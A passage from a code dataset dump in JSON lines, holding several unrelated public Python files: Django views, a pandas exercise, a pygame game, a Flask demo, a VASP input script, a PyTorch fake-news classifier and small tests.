v in Counter(twitter_topics).most_common(5)]\n top_explicit = [(k, topics[k].upper(), v) for k, v in Counter(explicit_topics).most_common(int(profile.top_n))]\n\n twitter_colours = [CSS_COLOR_NAMES[k] for k, _, _1 in top_twitter]\n explicit_colours = [CSS_COLOR_NAMES[k] for k, _, _2 in top_explicit]\n\n\n # Bar Chart 1\n clicked_topics = [(k, topics[k].upper(), v, CSS_COLOR_NAMES[k]) for k, v in profile_topics[\"clicked_topics\"].items() if v>0]\n has_twitter = profile.has_twitter()\n no_clicks = all([v == 0 for k, v in profile_topics[\"clicked_topics\"].items()])\n\n\n context = {\n \"top_twitter\": top_twitter,\n \"twitter_colours\": twitter_colours,\n \"top_explicit\": top_explicit,\n \"explicit_colours\": explicit_colours,\n \"clicked_topics\": clicked_topics,\n \"has_twitter\": has_twitter,\n \"no_clicks\" : no_clicks,\n }\n\n return render(request, \"analytics.html\", context)\n\n\ndef contact(request):\n\n return render(request, \"contact.html\", {})\n\ndef help(request):\n\n return render(request, \"help.html\", {})\n\n\ndef get_url(request):\n\n form = GetTwitterURL(request.POST or None)\n context = {\n \"form\", form\n }\n\n return (request, \"forms.html\", context)\n\n\ndef execute_sql(w):\n\n conn = psycopg2.connect(\"dbname=nlstudent user=James\")\n query = \"select a.article_url, a.article_title, a.article_description, a.article_published from article_rec as a join word_frequency_rec as f on a.article_id = f.article_id join word_rec as w on f.word_id = w.word_id where word=%s order by frequency DESC;\"\n\n cur = conn.cursor()\n\n cur.execute(query, (w,))\n\n a = cur.fetchall()\n\n return a\n\n","repo_name":"liamcreagh/Anthus-News","sub_path":"news/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"73232354453","text":"\"\"\"\n* Assignment: Pandas Read PythonObj\n* Complexity: medium\n* Lines of code: 7 lines\n* Time: 13 min\n\nEnglish:\n 1. Read data from `DATA` as `result: pd.DataFrame`\n 2. Non-functional requirements:\n a. Use `,` to separate mission fields\n b. Use `;` to separate missions\n 2. Run doctests - all must succeed\n\nPolish:\n 1. Wczytaj dane z DATA jako result: pd.DataFrame\n 2. Wymagania niefunkcjonalne:\n a. Użyj `,` do oddzielania pól mission\n b. Użyj `;` do oddzielenia missions\n 2. Uruchom doctesty - wszystkie muszą się powieść\n\nHints:\n * `vars(obj)`\n * dict.pop()\n * Nested `for`\n * `str.join(';', sequence)`\n * `str.join(',', sequence)`\n\nTests:\n >>> import sys; sys.tracebacklimit = 0\n\n >>> assert result is not Ellipsis, \\\n 'Assign result to variable: `result`'\n >>> assert type(result) is pd.DataFrame, \\\n 'Variable `result` has invalid type, should be `pd.DataFrame`'\n\n >>> result # doctest: +NORMALIZE_WHITESPACE\n firstname lastname missions\n 0 Mark Watney 2035,Ares 3\n 1 Melissa Lewis 2030,Ares 1;2035,Ares 3\n 2 Rick Martinez\n\"\"\"\n\nimport pandas as pd\n\n\nclass Astronaut:\n def __init__(self, firstname, lastname, missions=None):\n self.firstname = firstname\n self.lastname = lastname\n self.missions = list(missions) if missions else []\n\n\nclass Mission:\n def __init__(self, year, name):\n self.year = year\n self.name = name\n\n\nDATA = [\n Astronaut('Mark', 'Watney', missions=[\n Mission(2035, 'Ares 3')]),\n\n Astronaut('Melissa', 'Lewis', missions=[\n Mission(2030, 'Ares 1'),\n Mission(2035, 'Ares 3')]),\n\n Astronaut('Rick', 'Martinez', missions=[]),\n]\n\n\n# Convert DATA to list[dict], then flatten\n# type: list[dict]\ndata = ...\n\n# Convert `data` to DataFrame\n# type: pd.DataFrame\nresult = ...\n\n# Solution\ndata = []\n\nfor astronaut in DATA:\n astronaut = vars(astronaut)\n missions = [','.join(str(x) for x in vars(mission).values())\n for mission in astronaut.pop('missions')]\n astronaut['missions'] = ';'.join(missions)\n data.append(astronaut)\n\nresult = pd.DataFrame(data)\n\n\n# Alternative Solution\n# data = []\n# for astronaut in DATA:\n# astronaut = vars(astronaut)\n# missions = astronaut.pop('missions')\n# missions = [vars(x) for x in missions]\n# missions = [','.join(map(str,m.values())) for m in missions]\n# astronaut['missions'] = ';'.join(missions)\n# data.append(astronaut)\n# result = pd.DataFrame(data)\n\n\n# Alternative Solution\n# def as_dicts(astronaut):\n# astronaut = vars(astronaut)\n# missions = [vars(mission) for mission in astronaut.pop('missions')]\n# return astronaut | {'missions': missions}\n#\n#\n# def flatten(astronaut):\n# missions = [','.join(map(str, mission.values()))\n# for mission in astronaut.pop('missions')]\n# astronaut['missions'] = ';'.join(missions)\n# return astronaut\n#\n#\n# data = map(as_dicts, DATA)\n# data = map(flatten, data)\n# result = pd.DataFrame(data)\n","repo_name":"astromatt/python3.info","sub_path":"pandas/read/assignments/pandas_readpython_b.py","file_name":"pandas_readpython_b.py","file_ext":"py","file_size_in_byte":3086,"program_lang":"python","lang":"en","doc_type":"code","stars":158,"dataset":"github-code","pt":"67"} +{"seq_id":"12172431849","text":"import pygame\npygame.init()\n\n#Ukuran layar game\nwin = pygame.display.set_mode((650, 600))\n\n#judul game\npygame.display.set_caption(\"Si Maba\")\n\n#import sprite/gambar karakter dari folder ke pygame\nwalkRight = [pygame.image.load('./assets/sprite/maba/R1.png'), pygame.image.load('./assets/sprite/maba/R2.png'), pygame.image.load('./assets/sprite/maba/R3.png'), pygame.image.load('./assets/sprite/maba/R4.png'),\npygame.image.load('./assets/sprite/maba/R5.png'), pygame.image.load('./assets/sprite/maba/R6.png'), pygame.image.load('./assets/sprite/maba/R7.png'), pygame.image.load('./assets/sprite/maba/R8.png'), pygame.image.load('./assets/sprite/maba/R9.png')]\nwalkLeft = [pygame.image.load('./assets/sprite/maba/L1.png'), pygame.image.load('./assets/sprite/maba/L2.png'), pygame.image.load('./assets/sprite/maba/L3.png'), pygame.image.load('./assets/sprite/maba/L4.png'), \npygame.image.load('./assets/sprite/maba/L5.png'), pygame.image.load('./assets/sprite/maba/L6.png'), pygame.image.load('./assets/sprite/maba/L7.png'), pygame.image.load('./assets/sprite/maba/L8.png'), pygame.image.load('./assets/sprite/maba/L9.png')]\nbg = pygame.image.load('./assets/bg.jpg')\nchar = pygame.image.load('./assets/sprite/maba/standing.png')\n\n#import sound effects dan music dari folder ke pygame\njumpSound = pygame.mixer.Sound(\"./assets/audio/jump.wav\")\nhitSound = pygame.mixer.Sound(\"./assets/audio/hit.wav\")\nmusic = pygame.mixer.music.load(\"./assets/audio/music.mp3\")\npygame.mixer.music.play(-1)\n\n#clock\nclock = pygame.time.Clock()\n\nsemangat = 100\nscore = 0\n\n#Atribut player (pemain)\nclass player(object):\n def __init__(self, x, y, width, height):\n self.x = x\n self.y = y\n self.width = width\n self.height = height\n self.vel = 5\n self.isJump = False\n self.left = False\n self.right = False\n self.walkCount = 0\n self.jumpCount = 8\n self.standing = True\n self.hitbox = (self.x,self.y,20,48)\n\n def draw(self,win):\n if self.walkCount + 1 >= 27:\n self.walkCount = 0\n\n if self.left:\n win.blit(walkLeft[self.walkCount//3], (self.x,self.y))\n self.walkCount += 1\n elif self.right:\n win.blit(walkRight[self.walkCount//3], (self.x,self.y))\n self.walkCount += 1\n else:\n win.blit(char, (self.x,self.y))\n self.hitbox = (self.x,self.y,20,48)\n\n def hit(self):\n hitSound.play()\n self.isJump = False\n self.jumpCount = 8\n self.x = 64\n self.y = 410\n self.walkCount = 0\n font1 = pygame.font.SysFont('comicsans',100)\n text = font1.render('Terpajaki', 1, (225,0,0))\n win.blit(text, (250 - (text.get_width()/2),200))\n pygame.display.update()\n i = 0\n while i < 300:\n pygame.time.delay(5)\n i += 1\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n i = 301\n pygame.quit()\n\nclass enemy(object):\n walkRight = [pygame.image.load('./assets/sprite/senior_lvl1/R1E.png'), pygame.image.load('./assets/sprite/senior_lvl1/R2E.png'), pygame.image.load('./assets/sprite/senior_lvl1/R3E.png'), pygame.image.load('./assets/sprite/senior_lvl1/R4E.png'),\n pygame.image.load('./assets/sprite/senior_lvl1/R5E.png'), pygame.image.load('./assets/sprite/senior_lvl1/R6E.png'), pygame.image.load('./assets/sprite/senior_lvl1/R7E.png'), pygame.image.load('./assets/sprite/senior_lvl1/R8E.png'), pygame.image.load('./assets/sprite/senior_lvl1/R9E.png')]\n walkLeft = [pygame.image.load('./assets/sprite/senior_lvl1/L1E.png'), pygame.image.load('./assets/sprite/senior_lvl1/L2E.png'), pygame.image.load('./assets/sprite/senior_lvl1/L3E.png'), pygame.image.load('./assets/sprite/senior_lvl1/L4E.png'), \n pygame.image.load('./assets/sprite/senior_lvl1/L5E.png'), pygame.image.load('./assets/sprite/senior_lvl1/L6E.png'), pygame.image.load('./assets/sprite/senior_lvl1/L7E.png'), pygame.image.load('./assets/sprite/senior_lvl1/L8E.png'), pygame.image.load('./assets/sprite/senior_lvl1/L9E.png')]\n\n def __init__(self, x, y, width, height, end):\n self.x = x\n self.y = y\n self.width = width\n self.height = height\n self.end = end\n self.path = [self.x, self.end]\n self.walkCount = 0\n self.vel = 2\n self.hitbox = (self.x,self.y,25,48)\n\n def draw(self,win):\n self.move()\n if self.walkCount + 1 >= 27:\n self.walkCount = 0\n if self.vel > 0:\n win.blit(self.walkRight[self.walkCount//3], (self.x, self.y))\n self.walkCount += 1\n else:\n win.blit(self.walkLeft[self.walkCount//3], (self.x, self.y))\n self.walkCount += 1\n self.hitbox = (self.x,self.y,25,48)\n\n def move(self):\n if self.vel > 0:\n if self.x + self.vel < self.path[1]:\n self.x += self.vel\n else:\n self.vel = self.vel * -1\n self.walkCount = 0\n else:\n if self.x - self.vel > self.path[0]:\n self.x += self.vel\n else:\n self.vel = self.vel * -1\n self.walkCount = 0\n if score > 40:\n if self.vel > 0:\n if self.x + self.vel < self.path[1]:\n self.x += self.vel\n else:\n if self.x - self.vel > self.path[0]:\n self.x += self.vel\n if score > 100:\n if self.vel > 0:\n if self.x + self.vel < self.path[1]:\n self.x += self.vel\n else:\n if self.x - self.vel > self.path[0]:\n self.x += self.vel\n if score > 150:\n if self.vel > 0:\n if self.x + self.vel < self.path[1]:\n self.x += self.vel\n else:\n if self.x - self.vel > self.path[0]:\n self.x += self.vel\n if score > 220:\n if self.vel > 0:\n if self.x + self.vel < self.path[1]:\n self.x += self.vel\n else:\n if self.x - self.vel > self.path[0]:\n self.x += self.vel\n if score > 300:\n if self.vel > 0:\n if self.x + self.vel < self.path[1]:\n self.x += self.vel\n else:\n if self.x - self.vel > self.path[0]:\n self.x += self.vel\n if score > 350:\n if self.vel > 0:\n if self.x + self.vel < self.path[1]:\n self.x += self.vel\n else:\n if self.x - self.vel > self.path[0]:\n self.x += self.vel\n if score > 450:\n if self.vel > 0:\n if self.x + self.vel < self.path[1]:\n self.x += self.vel\n else:\n if self.x - self.vel > self.path[0]:\n self.x += self.vel\n if score > 650:\n if self.vel > 0:\n if self.x + self.vel < self.path[1]:\n self.x += self.vel\n else:\n if self.x - self.vel > self.path[0]:\n self.x += self.vel\n if score > 800:\n if self.vel > 0:\n if self.x + self.vel < self.path[1]:\n self.x += self.vel\n else:\n if self.x - self.vel > self.path[0]:\n self.x += self.vel\n if score > 1000:\n if self.vel > 0:\n if self.x + self.vel < self.path[1]:\n self.x += self.vel\n else:\n if self.x - self.vel > self.path[0]:\n self.x += self.vel\n if score > 1500:\n if self.vel > 0:\n if self.x + self.vel < self.path[1]:\n self.x += self.vel\n else:\n if self.x - self.vel > self.path[0]:\n self.x += self.vel\n\ndef gameover():\n gameover = True\n win.blit(bg, (0,0))\n font2 = pygame.font.SysFont('comicsans',80)\n font3 = pygame.font.SysFont('comicsans',30)\n text = font2.render('GAME OVER', 1, (0,225,0))\n win.blit(text, (250 - (text.get_width()/2),130))\n text1 = font3.render('Tekan ESCAPE untuk keluar', 1, (225,0,0))\n win.blit(text1, (250 - (text.get_width()/2),250))\n pygame.display.update()\n while gameover:\n clock.tick(27)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n gameover = False\n if event.key == pygame.K_ESCAPE:\n pygame.quit()\n quit()\n\ndef finish():\n win.blit(bg, (0,0))\n font2 = pygame.font.SysFont('comicsans',80)\n text = font2.render('LOLOS', 1, (0,225,0))\n win.blit(text, (250 - (text.get_width()/2),130))\n pygame.display.update()\n finish = True\n while finish:\n clock.tick(27)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_RETURN:\n finish = False\n run = True\n if event.key == pygame.K_ESCAPE:\n pygame.quit()\n quit()\n\ndef redrawGameWindow():\n win.blit(bg, (0,0))\n text = font.render('Semangat: ' + str(semangat),1,(225,0,0))\n win.blit(text, (540,10))\n text = font.render('Score: ' + str(score),1,(225,0,0))\n win.blit(text, (10,10))\n maba.draw(win)\n senior.draw(win)\n pygame.display.update()\n\n#mainloop\nfont = pygame.font.SysFont('comicsans', 20, True)\nmaba = player(5, 550, 64, 64)\nsenior = enemy (100, 550, 64, 64, 450)\nrun = True\nwhile run:\n clock.tick(27)\n\n if maba.hitbox[1] < senior.hitbox[1] + senior.hitbox[3] and maba.hitbox[1] + maba.hitbox[3] > senior.hitbox[1]:\n if maba.hitbox[0] + maba.hitbox[2] > senior.hitbox[0] and maba.hitbox[0] < senior.hitbox[0] + senior.hitbox[2]:\n maba.hit()\n semangat -= 20\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n\n keys = pygame.key.get_pressed()\n\n if keys[pygame.K_LEFT] and maba.x > maba.vel:\n maba.x -= maba.vel\n maba.left = True\n maba.right = False\n elif keys[pygame.K_RIGHT] and maba.x < 500 - maba.width - maba.vel:\n maba.x += maba.vel\n maba.right = True\n maba.left = False\n else:\n maba.right = False\n maba.left = False\n maba.walkCount = 0\n if not (maba.isJump):\n if keys[pygame.K_UP]:\n jumpSound.play()\n maba.isJump = True\n maba.right = False\n maba.left = False\n maba.walkCount = 0\n else:\n if maba.jumpCount >= -8:\n neg = 1\n if maba.jumpCount < 0:\n neg = -1\n maba.y -= (maba.jumpCount ** 2) * 0.5 * neg\n maba.jumpCount -= 1\n else:\n maba.isJump = False\n maba.jumpCount = 8\n score += 10\n if semangat < 1:\n gameover()\n if score > 2000:\n finish()\n\n redrawGameWindow()\n\npygame.quit()","repo_name":"muhnuryusri/Si-Maba","sub_path":"SiMaba.py","file_name":"SiMaba.py","file_ext":"py","file_size_in_byte":11454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4177415600","text":"from flask import Flask, render_template\n\nfrom sqlalchemy import Column, create_engine, Integer, String\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\n\n\n# Initialize the database, which will be stored in memory.\nengine = create_engine('sqlite:///:memory:', echo=True)\nSession = sessionmaker(bind=engine)\n\n# This is used by our model class.\nBase = declarative_base()\n\n\n# Define the user model as a class that inherits from Base.\nclass User(Base):\n __tablename__ = 'users'\n\n id = Column(Integer, primary_key=True)\n name = Column(String)\n\n\n# Create the database tables based on the models we defined.\nBase.metadata.create_all(engine)\n\n# Add some sample data to the database just for this example.\nsession = Session()\nsession.add(User(id=6, name='Frank'))\nsession.commit()\n\n\n# Create an instance of our Flask web application.\napplication = Flask(__name__)\n\n\n# Define the views that comprise our application.\n@application.route('/')\ndef hello():\n return 'Hello World!'\n\n\n@application.route('/hello_template')\ndef hello_template():\n return render_template('hello.html')\n\n\n@application.route('/users//')\ndef view_user(user_id):\n \"\"\"Retrieve a user from the database and show details about them.\"\"\"\n user = get_user(user_id)\n return render_template('user.html', user=user)\n\n\ndef get_user(user_id):\n \"\"\"Retrieve a user from the database.\"\"\"\n session = Session()\n user = session.query(User).get(user_id)\n session.close()\n return user\n\n\n# If this script is being run from a shell, start the dev server.\nif __name__ == '__main__':\n application.run()\n\n\n","repo_name":"Osmose/slides","sub_path":"intro_to_modern_web_dev/example/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":1644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22978315181","text":"# -*- coding: utf-8 -*- \r\nimport shutil\r\nimport re\r\n\r\n\"\"\"\r\nFixed some continue running problems.\r\n\"\"\"\r\n\r\n\r\ndef copy(file_name):\r\n for file in file_name:\r\n try:\r\n newname = './freq/' + file\r\n oldname = file\r\n shutil.copy(oldname, newname)\r\n except Exception as ret:\r\n print(\"Files not enough!\")\r\n break\r\n\r\ndef read_fort188_lines(file_read):\r\n with open (file_read, 'r') as f:\r\n lines = f.readlines()\r\n line_ori = lines[5].strip()\r\n fix_line = re.split(r'\\s+', line_ori)\r\n num_1 = fix_line[0]\r\n num_2 = fix_line[1]\r\n return (num_1, num_2)\r\n\r\ndef write_pos_change(first_line, total_line, change1, change2):\r\n lines =list()\r\n try:\r\n with open ('CONTCAR', 'r') as f:\r\n for i in range(total_line):\r\n lines.append(f.readline())\r\n except Exception as ret:\r\n print('ERROR: CONTCAR not exist, please use \"cp CONTCAR POSCAR rather than mv\"')\r\n else:\r\n for i in range(len(lines)):\r\n if i == change1 or i == change2 or i < first_line:\r\n with open('POSCAR1', 'a') as f:\r\n f.write(lines[i])\r\n else:\r\n list_new = list()\r\n change_line_list = re.split(r'\\s+', lines[i].strip())\r\n for i in range(3):\r\n list_new.append(change_line_list[i])\r\n list_new.append(' F F F')\r\n with open ('POSCAR1', 'a') as f:\r\n for i in list_new:\r\n f.write(' ' + i)\r\n f.write('\\n')\r\n\r\ndef read_pos(first_line_num, change_lines):\r\n with open ('POSCAR', 'r') as f:\r\n lines = f.readlines()\r\n first_line = lines[first_line_num-1].strip()\r\n i = 0\r\n for line in lines:\r\n if line != ' \\n':\r\n i += 1\r\n else:\r\n break\r\n total_line = i\r\n change1, change2 = change_lines\r\n change1_line_num = int(change1) + first_line_num - 1\r\n change2_line_num = int(change2) + first_line_num - 1\r\n write_pos_change(first_line_num, total_line, change1_line_num, change2_line_num)\r\n\r\ndef main():\r\n # 1. Read the fixed atom number in fort.188\r\n change_lines = read_fort188_lines('fort.188')\r\n # 2. The 10th line was defined as the first_line.\r\n n = 10 - 1\r\n # 3. Change some T T T lines to F F F lines. \r\n read_pos(n, change_lines)\r\n # 4. Redit INCAR(Shell)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"Yanhuanjin/script","sub_path":"freq.py","file_name":"freq.py","file_ext":"py","file_size_in_byte":2495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36858104625","text":"from const import *\n\nclass CNN(nn.Module):\n def __init__(self, vocab_size):\n super(CNN, self).__init__()\n\n self.embed = nn.Embedding(vocab_size, 128)\n\n self.conv = nn.Sequential(\n nn.Conv2d(1, 64, kernel_size=11, stride=4, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(64, 64, kernel_size=3, padding=1),\n nn.ReLU(inplace=True))\n\n self.fc = nn.Sequential(\n nn.Dropout(),\n nn.Linear(1920, 1),\n nn.Sigmoid())\n\n def forward(self, x):\n x = self.embed(x).unsqueeze(1)\n x = self.conv(x)\n x = self.fc(x.view(x.size(0), 1920))\n return x\n\nclass LogisticRegression(nn.Module):\n def init_weights(self):\n nn.init.xavier_uniform(self.features[1].weight.data)\n nn.init.constant(self.features[1].bias, 0.1)\n\n def __init__(self, input_size):\n super(LogisticRegression, self).__init__()\n self.features = nn.Sequential(\n nn.Dropout(),\n nn.Linear(input_size, 1),\n nn.Sigmoid())\n \n self.init_weights()\n\n def forward(self, x):\n return self.features(x)\n\n\ndef gen_vocab(data_file):\n vocab = list()\n for ln in data_file:\n for w in ln:\n if w not in vocab:\n vocab.append(w)\n vocab = [PAD_WORD] + sorted(vocab)\n return {k: v for v,k in enumerate(vocab)}\n\ndef gen_data_sets(data_file):\n with open(data_file) as f:\n shuffled = [l.split() for l in f]\n\n np.random.shuffle(shuffled)\n i, j, k = [int(s*len(shuffled)) for s in SET_RATIO]\n\n tra = shuffled[:i]\n val = shuffled[i:(i+j)]\n tes = shuffled[(i+j):(i+j+k)]\n return tra, val, tes\n\ndef gen_data_labels(data_list, test_p3=False):\n size = {\n 'tra': SET_RATIO[0],\n 'val': SET_RATIO[1],\n 'tes': SET_RATIO[2]\n }[data_list]\n if test_p3:\n real = np.zeros(int(size*NUM_REAL_P3))\n fake = np.ones(int(size*NUM_FAKE_P3))\n else:\n real = np.zeros(int(size*NUM_REAL))\n fake = np.ones(int(size*NUM_FAKE))\n return np.concatenate((real, fake))\n\ndef word_to_num(data_list, vocab):\n numbers = np.zeros((len(data_list), MAX_HL_LEN))\n for i, hl in enumerate(data_list):\n for j, w in enumerate(hl):\n if j >= MAX_HL_LEN:\n break\n if w in vocab:\n numbers[i][j] = vocab[w]\n return numbers\n\ndef one_hot(data_list, vocab):\n X = np.zeros((len(data_list), len(vocab)))\n for i, line in enumerate(data_list):\n for word in line:\n if word in vocab:\n X[i][vocab[word]] = 1.\n return X\n\n\ndef train(model, loss_fn, num_epochs, batch_size, learn_rate, reg_rate):\n train_x = torch.from_numpy(loadObj('tra_x'))\n train_y = torch.from_numpy(loadObj('tra_y'))\n train_dataset = torch.utils.data.TensorDataset(train_x, train_y)\n\n train_loader = torch.utils.data.DataLoader(\n dataset=train_dataset, \n batch_size=batch_size, \n shuffle=True)\n\n optimizer = torch.optim.Adam(\n model.parameters(),\n lr=learn_rate,\n weight_decay=reg_rate)\n \n tra_acc = [test(model,'tra')]\n val_acc = [test(model,'val')]\n max_acc = val_acc[0]\n\n model.train()\n saveObj(model, 'model')\n\n for epoch in range(1, num_epochs+1):\n for i, (review, target) in enumerate(train_loader, 1):\n review = Variable(review, requires_grad=False).type(TF)\n target = Variable(target, requires_grad=False).type(TF)\n\n pred = model.forward(review).squeeze()\n loss = loss_fn(pred, target)\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n print ('Epoch: [%d/%d], Steps: %d, Loss: %.4f' \n % (epoch, num_epochs, len(train_dataset)//batch_size, loss.data[0]))\n\n tra_acc.append(test(model,'tra'))\n val_acc.append(test(model,'val'))\n\n if val_acc[-1] > max_acc:\n saveObj(model, 'model')\n\n learn_curve(tra_acc, val_acc, np.arange(num_epochs+1))\n return\n\ndef test(model, data_set, test_p3=False):\n if test_p3:\n test_x = torch.from_numpy(loadObj('tes_x_p3'))\n test_y = torch.from_numpy(loadObj('tes_y_p3'))\n else:\n test_x = torch.from_numpy(loadObj(data_set+'_x'))\n test_y = torch.from_numpy(loadObj(data_set+'_y'))\n \n test_dataset = torch.utils.data.TensorDataset(test_x, test_y)\n test_loader = torch.utils.data.DataLoader(\n dataset=test_dataset, \n batch_size=128, \n shuffle=False)\n\n model.eval()\n correct, total = 0, 0\n for review, target in test_loader:\n review = Variable(review, requires_grad=False).type(TF)\n target = Variable(target, requires_grad=False).type(TF)\n\n pred = model(review).squeeze().data.numpy()\n pred = (pred >= 0.5).astype(int)\n target = target.data.numpy()\n\n total += len(target)\n correct += np.sum(pred == target)\n \n model.train()\n return 100 * correct/total\n\ndef learn_curve(y1, y2, x):\n plt.plot(x, y1, label='training')\n plt.plot(x, y2, label='validation')\n plt.xlabel('Epochs')\n plt.ylabel('Accuracy (%)')\n plt.legend(loc='lower left')\n plt.savefig('plots/learn_curve.png', bbox_inches='tight')\n return\n\ndef disp_keywords():\n vocab = loadObj('vocab')\n model = loadObj('model')\n\n vocab = list(vocab.keys())\n W = model.features[1].weight.data.numpy()[0]\n W_index_sorted = W.argsort()\n\n W_pos = W_index_sorted[-10:][::-1]\n W_neg = W_index_sorted[:10]\n\n top10_pos = [(W[i], vocab[i]) for i in W_pos]\n top10_neg = [(W[i], vocab[i]) for i in W_neg]\n\n print('Top 10 positive weights:', top10_pos)\n print('\\nTop 10 negative weights:', top10_neg)\n \n W_pos = W_index_sorted[::-1]\n W_neg = W_index_sorted[:]\n\n top10_pos = [(W[i], vocab[i]) for i in W_pos if vocab[i] not in ENGLISH_STOP_WORDS][:10]\n top10_neg = [(W[i], vocab[i]) for i in W_neg if vocab[i] not in ENGLISH_STOP_WORDS][:10]\n\n print('\\nTop 10 positive weights (no stop words):', top10_pos)\n print('\\nTop 10 negative weights (no stop words):', top10_neg)\n return\n\n\ndef init_data():\n tra, val, tes = (a+b for a,b in zip(gen_data_sets('clean_real.txt'), gen_data_sets('clean_fake.txt')))\n\n vocab = gen_vocab(tra)\n tra_x = one_hot(tra, vocab)\n val_x = one_hot(val, vocab)\n tes_x = one_hot(tes, vocab)\n tra_y = gen_data_labels('tra')\n val_y = gen_data_labels('val')\n tes_y = gen_data_labels('tes')\n\n saveObj(vocab, 'vocab')\n saveObj(tra_x, 'tra_x')\n saveObj(val_x, 'val_x')\n saveObj(tes_x, 'tes_x')\n saveObj(tra_y, 'tra_y')\n saveObj(val_y, 'val_y')\n saveObj(tes_y, 'tes_y')\n\n _, _, tes = (a+b for a,b in zip(gen_data_sets('clean_real_p3.txt'), gen_data_sets('clean_fake_p3.txt')))\n\n tes_x = one_hot(tes, vocab)\n tes_y = gen_data_labels('tes', test_p3=True)\n\n saveObj(tes_x, 'tes_x_p3')\n saveObj(tes_y, 'tes_y_p3')\n return\n\n\nif __name__ == '__main__':\n start = time.time()\n\n init_data()\n VOCAB_SIZE = len(loadObj('vocab'))\n\n train(model=LogisticRegression(VOCAB_SIZE),\n loss_fn=nn.BCELoss(),\n num_epochs=100,\n batch_size=128,\n learn_rate=1e-3,\n reg_rate=0)\n\n model = loadObj('model')\n\n print('Accuracy on train set: %.2f%%' % test(model,'tra'))\n print('Accuracy on valid set: %.2f%%' % test(model,'val'))\n print('Accuracy on test set: %.2f%%' % test(model,'tes'))\n print('Accuracy on test set (p3): %.2f%%' % test(model, '', test_p3=True))\n print('\\n')\n\n disp_keywords()\n\n end = time.time()\n print('Time elapsed: %.2fs' % (end-start))\n","repo_name":"jessicaycc/Machine-Learning-and-Data-Mining-CSC411","sub_path":"p3 (bonus)/fakebonus.py","file_name":"fakebonus.py","file_ext":"py","file_size_in_byte":7698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"15499356743","text":"from collections import deque\n \nt = int(input())\nfor _ in range(t):\n n = int(input())\n islands = list(map(int, input().strip().split()))\n counts = [0] * n\n max_visit = -1\n ans = -1\n for i in range(n):\n if counts[i]:\n if max_visit < counts[i]:\n max_visit = counts[i]\n ans = i\n else:\n stack = deque([i])\n counts[i] = -1\n count = -1\n j = islands[i]\n while not counts[j]:\n stack.append(j)\n count -= 1\n counts[j] = count\n j = islands[j]\n if counts[j] < 0:\n while j != stack[-1]:\n counts[stack.pop()] = counts[j] - count + 1\n counts[stack.pop()] = counts[j] - count + 1\n count = 1 + counts[j]\n while stack:\n counts[stack.pop()] = count\n count += 1\n if max_visit < counts[i]:\n max_visit = counts[i]\n ans = i\n print(ans)\n","repo_name":"Chiki1601/Hackerearth-Solutions","sub_path":"Algorithms/Graphs/Depth first search/Visiting Islands.py","file_name":"Visiting Islands.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"29049456876","text":"from django.test import TestCase\n\nfrom pipeline.core.data.base import DataObject\nfrom pipeline.core.flow.activity import ServiceActivity\nfrom pipeline.core.flow.base import FlowElement, SequenceFlow\n\n\nclass TestSequenceFlow(TestCase):\n def test_sequence_flow(self):\n flow_id = \"1\"\n source = ServiceActivity(id=\"1\", service=None, data=DataObject({}))\n target = ServiceActivity(id=\"2\", service=None, data=DataObject({}))\n flow = SequenceFlow(flow_id, source, target)\n self.assertTrue(isinstance(flow, FlowElement))\n self.assertEqual(flow_id, flow.id)\n self.assertEqual(source, flow.source)\n self.assertEqual(target, flow.target)\n self.assertEqual(False, flow.is_default)\n","repo_name":"TencentBlueKing/bamboo-engine","sub_path":"runtime/bamboo-pipeline/pipeline/tests/core/flow/test_sequence_flow.py","file_name":"test_sequence_flow.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","stars":121,"dataset":"github-code","pt":"67"} +{"seq_id":"22453003905","text":"from django.urls import path\n\nfrom recipes import views\n\nurlpatterns = [\n path('', views.index, name='Homepage'),\n path('author//', views.author_detail),\n path('recipe//', views.recipe_detail),\n path('addrecipe/', views.add_recipe),\n path('addauthor/', views.add_author)\n #path('admin/', admin.site.urls),\n]","repo_name":"JanelleRK/recipebox","sub_path":"recipes/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32149612012","text":"from django import forms\nfrom django.shortcuts import render, HttpResponse, redirect\nfrom django.http import Http404, HttpResponse\nfrom django.urls import reverse\nfrom django.contrib import messages\nfrom django.utils import timezone\nfrom django.db import models\n\nfrom authtools.models import User\n\nfrom .models import School, Course, Itr, Item, SEMS, Count\nfrom .forms import *\nfrom my_user.helper import *\n\nimport datetime\nfrom .recom import *\n\n\n# Create your views here.\n\nfrom niser_app.local_settings import *\n\nREV_DICT_SEMS = dict([i[::-1] for i in SEMS])\n\ndef index_view(request):\n school_list = School.objects.order_by('abbr')\n try:\n cnt = Count.objects.get(cnt_id=1)\n except Count.DoesNotExist:\n cnt = Count(cnt_id=1, rec=0, own=0)\n cnt.save()\n\n if request.user.is_authenticated:\n auth = 1\n rec = get_recom(request.user.id) # Get Recommendations\n rec_list = Item.objects.filter(fl__in=rec)\n else:\n auth = 0\n rec_list = []\n return render(request, 